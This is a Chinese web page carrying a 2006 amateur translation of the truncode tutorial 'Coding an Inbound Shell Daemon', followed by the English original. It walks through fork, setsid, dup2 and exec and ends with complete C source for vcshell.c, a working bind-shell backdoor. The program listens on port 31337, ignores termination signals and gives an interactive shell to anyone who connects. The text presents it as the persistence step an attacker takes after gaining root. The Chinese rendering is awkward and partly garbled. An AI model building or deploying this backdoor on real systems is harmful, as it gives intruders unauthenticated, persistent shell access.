分享
 
 
 

翻译作品之七Coding an Inbound Shell Daemon rev. 1.0

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

翻译作品之七Coding an Inbound Shell Daemon rev. 1.0

一.前言:

本人翻译系列文章,很担心里面出错的地方会误人,不过心里还是有去做一做的,我是通过自己的理解来翻译的,如果我的理解错误了,或许是我不理解的部分也不经意翻译了,那必然会给各位多多少少的误导,所以我在文章后面都附上原文。请想看对照原文来阅读!最主要是自己去理解,不要单看我一家之言。

二.正文:

]先决条件:

这篇论文假定读者已经阅读和理解turncode 安全开发的论文:Coding a TCP Connect Port Scanner: Step by Step written by modular 或者已经有了套接字编程的基础.

读者同样应该自然地拥有基础的c编程技术.

]介绍:

在危及一个运行unix系统安全之后和获得root,一个熟练的攻击者将会创建一个后门为将来的进入.这篇论文详细阐明编写一个后门通过分解一个必要的一个入站后门的rootshell代码.编写一个后门后台shell是一个容易的过程.这个程序自身是通常不多于100行.它可能开始去增加当新的函数被增加,例如加密,系统确定,和错误控制.

] 处理认证:

一个进程基本上是一个运行的程序,这个运行的程序有一些基本的属性值得注意:

1.一个程序拥有当前执行的一个众所周知的当前的上下环境的状态.

2.存取文件和目录的权限

3.内存和系统资源

4.当前的工作目录

每个进程有一个进程id和一个父进程id.进程id用实际整数来标示.所有进程的父进程有一个进程号就是1.这是众所周知的init进程,系统从核心启动后,init启动任何必要的系统程序和后台程序.当编写一个后台程序时,理解进程ids是怎样工作在父和子进程之间是重要的.

打印一个进程号,对于一个父和子进程需要的函数是getpid() and getppid().虽然,这些函数是不必对于这篇论文最后的程序,但是它会帮助进一步阐明ids进程是怎样工作的,getpid()和 getppid()的原型如下:

---------------------------------------------------------------------------

#include

pid_t getpid(void);

pid_t getppid(void);

---------------------------------------------------------------------------

对于getpid() 和getppid() 原型, unistd.h 头文件是必要的.getpid()返回调用的进程和getppid() 那进程的父进程 象这样:

------------------------------------------------------------------------

#include

#include

#include

int main(void)

{

printf("%d\n", getpid());

printf("%d\n", getppid());

return 0;

}

------------------------------------------------------------------------

]父/子进程:

-进程组

根据早期规定,每个进程有一个进程id.进程能被用一个命令管道来连接,想这样:

]modular@visioncode:~/src$ ps -aux |grep -v grep |grep user |awk

'{print $2}' |xargs kill -9

一个相关进程组是提供一个进程组id.为了一次杀死所有这些相关进程,脚本必须能结束组id而不是每个进程id.

-会话

一个相关进程组的系列众所周知是一个会话,会话的领袖是一个会话的发明者.

会话领袖拥有一个进程id.一个会话将会被用做例子,当很多后台程序运行在一个终端和一个终端被关闭,随后将杀死所有的后台进程.

-父/子进程

程序能被写下来增加新的进程从他们自己.这原始的进程是众所周知的一个父进程和任何新的被调用的子进程的进程.为了增加新的进程fork(2)要用到,fork(2)的原型可能是:

---------------------------------------------------------------------------

#include

pid_t fork(void);

---------------------------------------------------------------------------

当fork(2) 调用成功,它会返回一个属于父进程的子进程id.成功返回值是0.

]unix 后台程序

一个后台进程是一个程序不再连接到一个开始它的原始终端会话.为了使一个程序变成一个后台程序,需要几个步骤:

1.fork(2)函数被用来杀死父进程,离开原始命令行或者shell成为子进程控制.这个保证子进程不会成为一个组会话引导者.

2.setsid(2)函数被用来产生子进程和组会话引导者.在这点上,子进程已经从任何控制的终端分离出自己.

一个基本的后台程序的例子可能如下:

------------------------------------------------------------------------------

int main(void)

{

pid_t pid;

if ( (pid = fork()) < 0)

return(-1);

else if (pid != 0)

exit(0); /* parent gets killed here */

/* child process continues on from this point

* setsid(2) makes the child a session leader

* without a controlling terminal

*/

setsid();

/* rest of source code to perform tasks in the background */

}

------------------------------------------------------------------------------

]复制套接字:

dup2(2)函数复制一个文件描述符.使得一个shell成为后台程序后,要调用dup2(2)

三次为了复制套接字的描述符0,1,2.描述符0,1,2分别是标准输入,标准输出和标准错误.那时原始套接字描述符需要关闭.这个允许这个子进程处理套接字方面.用标准输入(0),标准输出(1),标准错误(2).

]exec 函数:

fork(2),正如以前的规定,创建一个完全的新进程,产生一个完全的新pid. exec函数允许一个程序员发起一个程序,这个替代原始的进程;pid保留和原始进程同等的资源。

exec函数传统上用在后门来产生一个shell通过调用/bin/sh.

在以下的例子,execlp(3) 被用来执行sh命令.替代原始shell用一个新的shell并保持相同的pid:

------------------------------------------------------------------------------

#include

#include

#include

int main(void)

{

char args[] = {"/bin/sh", "-i"}; /* arguments for sh */

if(execlp("/bin/sh", args, NULL) == -1)

{

perror("execlp");

exit(EXIT_FAILURE);

}

printf("How did we get here?");

exit(EXIT_SUCCESS);

}

------------------------------------------------------------------------------

execlp(3)取得路径名bin/sh作为它的第一个参数,以下的列表参数,随后是参数列表,最后用null终止.

]入站shell后台例子:

以下的程序是一个可工作的简单后门的运行做为一个后台的例子:

/* vcshell.c - remote daemon shell

* written by: modular@truncode.org

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define PORT 31337 /* port to bind to */

/* ERROR CHECKING */

static void recoil(const char *help) {

if ( errno != 0 ) {

fputs(strerror(errno),stderr); fputs(": ", stderr);

} fputs(help, stderr); fputc('\n', stderr); exit(1);

}

int main (int argc, char *argv[]) {

int socket_listen, socket_connect;

/* server and client file descriptors */

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

socklen_t length; pid_t chpid;

if(( socket_listen = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

recoil("socket()"); return(1);

}

length = sizeof(server_addr);

memset(&server_addr, 0, length);

server_addr.sin_addr.s_addr = INADDR_ANY;

server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(PORT);

/* ignore all events that would kill the process */

signal(SIGCHLD, SIG_IGN); signal(SIGHUP, SIG_IGN);

signal(SIGTERM,SIG_IGN); signal(SIGINT, SIG_IGN);

if((bind( socket_listen, (struct sockaddr *)&server_addr, length))) {

recoil("bind()"); return(2);

} if(listen(socket_listen, 1)) {

recoil("listen()"); return(3);

}

/* fork() into two processes: */

if ( ( chpid = fork()) == (pid_t)-1 ) {

recoil("fork()"); return(4);

} else if (chpid > 0) {

exit(EXIT_SUCCESS); /* kill the parent */

}

else if ( chpid == 0) {

setsid(); /* create a new session and make a daemon

making the child a session leader */

length = sizeof(client_addr); if(( socket_connect =

accept(socket_listen, &client_addr, &length)) < 0) {

recoil("accept()"); abort();

}

/* duplicate file descriptors to refer to original socket */

/* new descriptors gives the capability for user interaction

*/

dup2(socket_connect,0);

dup2(socket_connect,1);

dup2(socket_connect,2);

execlp("sh", "sh", "-i", NULL);

/* shutdown existing socket and

* duplicated sockets together

*/

shutdown(socket_connect,SHUT_RDWR);

}

exit(0);

}

------------------------------------------------------------------------------

三.原文:

Coding an Inbound Shell Daemon

rev. 1.0

_ _

| |_ ___ _ _ ___ ___ ___ _| |___

| _| _| | | | _| . | . | -_|

|_| |_| |___|_|_|___|___|___|___|

/* truncode security development */

http://truncode.org

<modular@truncode.org>

] Prerequisite:

This paper assumes the reader to have already read and understood

the truncode security development paper: Coding a TCP Connect Port Scanner:

Step by Step written by modular or have basic knowledge of socket programming.

The reader should also naturally possess basic C programming skills.

] Introduction:

After compromising a system running UNIX and attaining root, a

skilled attacker will create a backdoor for future logins. This paper

elaborates on coding a backdoor by breaking down the necessary code for an

inbound daemon rootshell. Coding a backdoor daemon shell is a relatively

easy process. The program itself is usually no more than one hundred

lines. It may begin to grow when new functionalities are added such as

encryption, OS definitions, and error control.

] Process Identification:

A process is basically a running program. A running program has a few

basic attributes worth mentioning:

1. A program possesses a current execution status known as

it's current context

2. Access rights to directories and files

3. Memory and system resources

4. Current working directory

Each process has a process ID and a parent process ID. Process IDs

are referred to by using positive integers. The father of all processes

has a process ID of 1. This is known as the init process. After a system

boots from the kernel, init starts up any necessary system programs and

daemons. It is important to understand how process IDs work with parent

and child processes when coding a daemon.

Printing a process ID for parent and child requires functions

getpid() and getppid(). Although, these functions are not needed for this

paper's final program, it will help further clarify how process IDs work.

The synopsis for getpid() and getppid() is as follows:

------------------------------------------------------------------------------

#include

pid_t getpid(void);

pid_t getppid(void);

------------------------------------------------------------------------------

The unistd.h header file is needed by the getpid() and getppid()

prototypes. getpid() returns the calling process and getppid() the parent of

that process like so:

------------------------------------------------------------------------------

#include

#include

#include

int main(void)

{

printf("%d\n", getpid());

printf("%d\n", getppid());

return 0;

}

------------------------------------------------------------------------------

] Parent/Child Processes:

-Process Groups

As stated earlier each process has a process ID. Processes can be

connected in a command pipeline like so:

]modular@visioncode:~/src$ ps -aux |grep -v grep |grep user |awk

'{print $2}' |xargs kill -9

A group of related processes are given a process group ID. In

order to kill all these related processes at once, the shell must

terminate the group ID rather than every process ID.

-Sessions

A set of related process groups are known as a session. The

session leader is the originator of the session. This session leader

possesses a session ID. A session would be used for example when many

background processes are running in a terminal and the terminal is killed;

subsequently killing all background processes.

-Parent/child processes

Programs can be written to create new processes from within

themselves. The original process is known as the parent and any new

processes are called child processes. In order to create a new process

fork(2) must be used. The synopsis for fork(2) is:

------------------------------------------------------------------------------

#include

pid_t fork(void);

------------------------------------------------------------------------------

When fork(2) is successful, it will return the process ID of

the child process to the parent process. 0 is returned to the child process.

] UNIX Daemons:

A daemon process is a program no longer attached to the original

terminal session that started it. There are a few basic steps in order to

turn a program into a daemon process:

1. The fork(2) function is used to kill the parent process,

leaving the child control of the original command-line or

shell. This guarantees the child not to be a group session leader.

2. The setsid(2) function is used to make the child process a

process and group session leader. The child has disassociated

itself from any controlling terminal at this point.

A basic example of a daemon might be as follows:

------------------------------------------------------------------------------

int main(void)

{

pid_t pid;

if ( (pid = fork()) < 0)

return(-1);

else if (pid != 0)

exit(0); /* parent gets killed here */

/* child process continues on from this point

* setsid(2) makes the child a session leader

* without a controlling terminal

*/

setsid();

/* rest of source code to perform tasks in the background */

}

------------------------------------------------------------------------------

] Duplicating Sockets:

The dup2(2) function duplicates a file descriptor. After making

the shell into a daemon, it is necessary to have the child process call

dup2(2) three times in order to duplicate the socket on descriptors 0, 1,

2. Descriptors 0, 1, and 2 are standard input, standard output, and

standard error respectively. Then the original socket descriptor needs to

be closed. This allows the child to use standard input ( 0 ), standard

output (1), and standard error (2) with the socket.

] exec functions:

fork(2), as previously stated, creates a completely new process,

generating a completely new PID. The exec functions allow a programmer to

initiate a program, which replaces the original process; the PID stays the

same. An exec function is traditionally used in a backdoor to spawn a

shell by calling /bin/sh.

In the following example, execlp(3) is used to execute the sh command,

replacing the original shell with a new shell while keeping the same PID:

------------------------------------------------------------------------------

#include

#include

#include

int main(void)

{

char args[] = {"/bin/sh", "-i"}; /* arguments for sh */

if(execlp("/bin/sh", args, NULL) == -1)

{

perror("execlp");

exit(EXIT_FAILURE);

}

printf("How did we get here?");

exit(EXIT_SUCCESS);

}

------------------------------------------------------------------------------

execlp(3) takes the pathname to bin/sh as its first argument, followed by

the a list of arguments, and finally terminated with a NULL.

] Inbound Shell Daemon Example:

The following program is a working example of a simple backdoor

which runs as a daemon:

/* vcshell.c - remote daemon shell

* written by: modular@truncode.org

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define PORT 31337 /* port to bind to */

/* ERROR CHECKING */

static void recoil(const char *help) {

if ( errno != 0 ) {

fputs(strerror(errno),stderr); fputs(": ", stderr);

} fputs(help, stderr); fputc('\n', stderr); exit(1);

}

int main (int argc, char *argv[]) {

int socket_listen, socket_connect;

/* server and client file descriptors */

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

socklen_t length; pid_t chpid;

if(( socket_listen = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

recoil("socket()"); return(1);

}

length = sizeof(server_addr);

memset(&server_addr, 0, length);

server_addr.sin_addr.s_addr = INADDR_ANY;

server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(PORT);

/* ignore all events that would kill the process */

signal(SIGCHLD, SIG_IGN); signal(SIGHUP, SIG_IGN);

signal(SIGTERM,SIG_IGN); signal(SIGINT, SIG_IGN);

if((bind( socket_listen, (struct sockaddr *)&server_addr, length))) {

recoil("bind()"); return(2);

} if(listen(socket_listen, 1)) {

recoil("listen()"); return(3);

}

/* fork() into two processes: */

if ( ( chpid = fork()) == (pid_t)-1 ) {

recoil("fork()"); return(4);

} else if (chpid > 0) {

exit(EXIT_SUCCESS); /* kill the parent */

}

else if ( chpid == 0) {

setsid(); /* create a new session and make a daemon

making the child a session leader */

length = sizeof(client_addr); if(( socket_connect =

accept(socket_listen, &client_addr, &length)) < 0) {

recoil("accept()"); abort();

}

/* duplicate file descriptors to refer to original socket */

/* new descriptors gives the capability for user interaction

*/

dup2(socket_connect,0);

dup2(socket_connect,1);

dup2(socket_connect,2);

execlp("sh", "sh", "-i", NULL);

/* shutdown existing socket and

* duplicated sockets together

*/

shutdown(socket_connect,SHUT_RDWR);

}

exit(0);

}

------------------------------------------------------------------------------

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有